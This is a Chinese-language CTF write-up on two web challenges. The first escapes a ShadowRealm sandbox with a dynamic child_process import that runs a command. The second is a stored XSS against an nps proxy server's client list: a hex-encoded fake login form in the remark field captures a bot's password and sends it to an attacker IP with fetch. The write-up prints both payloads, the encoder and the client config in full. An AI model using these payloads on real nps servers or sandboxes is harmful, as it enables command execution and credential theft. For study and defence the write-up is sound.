yet another sandbox 根据题目告诉我们代码将被运行在ShadowRealm中,那么ShadowRealm是啥呢,根据知乎@贺师俊 在如何评价 ECMAScript 的 ShadowRealm API 提案? 的回答中,我们可以了解到,ShadowRealm其实就是一个类似于VM的沙箱,只不过运行环境是浏览器 。
第一,ShadowRealm允许一个JS运行时创建多个高度隔离的JS运行环境(realm),每个realm具有独立的全局对象和内建对象。
看似是安全的沙箱环境,但既然他遵守ECMAScript标准,那么就一定支持 import
和 export
关键字
ECMAScript 标准 ECMAScript 是 JavaScript 语言的规范,它提供了这门语言的核心语法、类型、对象和方法的标准定义。浏览器和其他 JavaScript 运行环境需要遵循这个标准来实现 JavaScript 语言。
ES6 Modules ES6 Modules 引入了 import
和 export
关键字,允许开发者将代码拆分成多个文件(模块),并在这些文件之间进行清晰的依赖管理。这使得代码更容易组织、维护和重用。
ES6 Modules 是 ECMAScript 2015(也称为 ES6)标准的一部分,它引入了一种在 JavaScript 中使用模块的标准化方法。在此之前,JavaScript 并没有内建的模块系统,开发者通常依赖于第三方库或者约定来组织代码。
根据docker文件,得知要运行readflag,查看结果
1 RUN gcc -o /readflag /readflag.c
payload
1 2 import ('child_process' ).then (m => m.execSync ('/readflag > /app/asserts/flag' ));
这道题写完后有个疑问,就是child_process是nodejs环境中的模块,为什么能在浏览器环境下使用呢,可能是为了出题专门放的?
nps hacker nps是一款轻量级、高性能、功能强大的内网穿透代理服务器,题目中给出了nps服务端的附件,做此题之前可以先简单学习一下这款工具
[工具学习]内网穿透工具nps初探
先看main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import {chromium, errors} from "playwright-chromium" ;const PASSWORD = "DASCTF_flag" ;(async () => { async function visit ( ) { const page = await context.newPage (); try { for (let i = 0 ; i < 3 ; i++){ try { await page.goto ('http://a.o.com:8080/client/list' ); break ; }catch (e) { console .log (e); } } await page.waitForTimeout (1000 ); const element = await page.isVisible ('button[langtag="word-login"]' ); if (element) { await page.fill ('input[name="username"]' , 'admin' ); await page.fill ('input[name="password"]' , PASSWORD ); await page.click ('button[langtag="word-login"]' ); } await page.waitForTimeout (1000 ); await page.close (); } catch (e) { if (e instanceof errors.TimeoutError ){ console .log (e); await page.close (); }else { console .log (e); } } } const browser = await chromium.launch ({ headless : true }); const context = await browser.newContext (); context.setDefaultTimeout (10000 ); setInterval (visit, 30000 ); })();
这段代码的意思是用nodejs的chromium模块来模拟一个浏览器环境,然后找到button[langtag="word-login"]
元素,即拥有属性langtang
且值为word-login
的button,之后会将username
和password
填入到对应的input文本框中,最终点击button来模拟手动登录操作。其中,password是我们需要的flag。每30s执行一次整个操作。
第一次访问/client/list的话,会跳转到登录界面,但是当登录成功后,就能够凭借cookie直接访问/client/list界面
可以通过客户端的npc.conf配置文件模式 来连接到题目的nps server端
附件中的nps.conf如下:
1 2 3 4 5 6 7 8 ##bridge bridge_type=tcp bridge_port=8080 bridge_ip=0.0.0.0 # Public password, which clients can use to connect to the server # After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file. public_vkey=123
这里的bridge_port即客户端连接端口,因为环境问题所以和web端设置成一样的
public_vkey很重要,如果我们拥有公钥,那么就不需要唯一验证密钥也能连接到server
接下来探究XSS的可能性,如果能XSS,就通过remark备注参数连接server,让main.js访问客户端列表完成XSS的利用
在list.html
中,bootstrapTable的选项中并没有设置escape,该选项用来转义HTML特殊字符防止XSS
bootstrap-table escape
所以,如果我们能使备注为js代码,因为前端并没有做转义,所以可以实现XSS。
但是,server端在接受remark参数时,将remark的内容做了html转义
查看go库中的html模块,看看具体转义了什么字符
1 2 3 4 5 6 7 var htmlEscaper = strings.NewReplacer( `&` , "&" , `'` , "'" , `<` , "<" , `>` , ">" , `"` , """ , )
没有转义’\‘,而document.write可以自动解码,所以可以使用hex
或者Unicode
编码来绕过
最后根据main.js中的html元素,伪造一个登录框,打XSS把flag拿到手
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 def string_to_unicode_escape (input_string ): unicode_escape_sequence = "" for character in input_string: code_point = ord (character) if code_point > 0xFFFF : unicode_escape_sequence += "\\U{:08x}" .format (code_point) else : unicode_escape_sequence += "\\u{:04x}" .format (code_point) return unicode_escape_sequence def string_to_hex (s ): result = "" for c in s: hex_c = "\\x" + hex (ord (c))[2 :].zfill(2 ) result += hex_c return result test_string = ''' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login Page</title> </head> <body> <form id="loginForm"> <div> <label for="username">Username:</label> <input type="text" id="username" name="username" required> </div> <div> <label for="password">Password:</label> <input type="password" id="password" name="password" required> </div> <div> <button type="submit" langtag="word-login" onclick=a(document.getElementById('password').value)>Login</button> </div> </form> <script> function a(pwd){ fetch('http://vps:port/?a='+pwd, { method: 'GET' }) }</script>''' hex_encoded_string=string_to_hex(test_string) print (hex_encoded_string)
生成的payload,填入npc.conf
1 2 3 4 5 [common] server_addr=node4.buuoj.cn:27521 conn_type=tcp vkey=123 remark=<script>document.write('\x0a\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x68\x74\x6d\x6c\x3e\x0a\x3c\x68\x74\x6d\x6c\x20\x6c\x61\x6e\x67\x3d\x22\x65\x6e\x22\x3e\x0a\x3c\x68\x65\x61\x64\x3e\x0a\x20\x20\x20\x20\x3c\x6d\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x22\x55\x54\x46\x2d\x38\x22\x3e\x0a\x20\x20\x20\x20\x3c\x74\x69\x74\x6c\x65\x3e\x4c\x6f\x67\x69\x6e\x20\x50\x61\x67\x65\x3c\x2f\x74\x69\x74\x6c\x65\x3e\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0a\x3c\x62\x6f\x64\x79\x3e\x0a\x0a\x3c\x66\x6f\x72\x6d\x20\x69\x64\x3d\x22\x6c\x6f\x67\x69\x6e\x46\x6f\x72\x6d\x22\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\x65\x6c\x20\x66\x6f\x72\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x3e\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x22\x20\x69\x64\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x20\x6e\x61\x6d\x65\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x20\x72\x65\x71\x75\x69\x72\x65\x64\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\x65\x6c\x20\x66\x6f\x72\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x3e\x50\x61\x73\x73\x77\x6f\x72\x64\x3a\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x69\x64\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x6e\x61\x6d\x65\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x72\x65\x71\x75\x69\x72\x65\x64\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x62\x75\x74\x74\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x6c\x61\x6e\x67\x74\x61\x67\x3d\x22\x77\x6f\x72\x64\x2d\x6c\x6f\x67\x69\x6e\x22\x20\x6f\x6e\x63\x6c\x69\x63\x6b\x3d\x61\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\x27\x70\x61\x73\x73\x77\x6f\x72\x64\x27\x29\x2e\x76\x61\x6c\x75\x65\x29\x3e\x4c\x6f\x67\x69\x6e\x3c\x2f\x62\x75\x74\x74\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x3c\x2f\x66\x6f\x72\x6d\x3e\x0a\x3c\x73\x63\x72\x69\x70\x74\x3e\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x61\x28\x70\x77\x64\x29\x7b\x0a\x20\x20\x20\x20\x66\x65\x74\x63\x68\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x31\x2e\x31\x31\x37\x2e\x32\x34\x37\x2e\x31\x34\x3a\x38\x30\x30\x30\x2f\x3f\x61\x3d\x27\x2b\x70\x77\x64\x2c\x20\x7b\x20\x0a\x20\x20\x6d\x65\x74\x68\x6f\x64\x3a\x20\x27\x47\x45\x54\x27\x0a\x7d\x29\x0a\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e')</script>
最后npc -config=npc.conf连接即可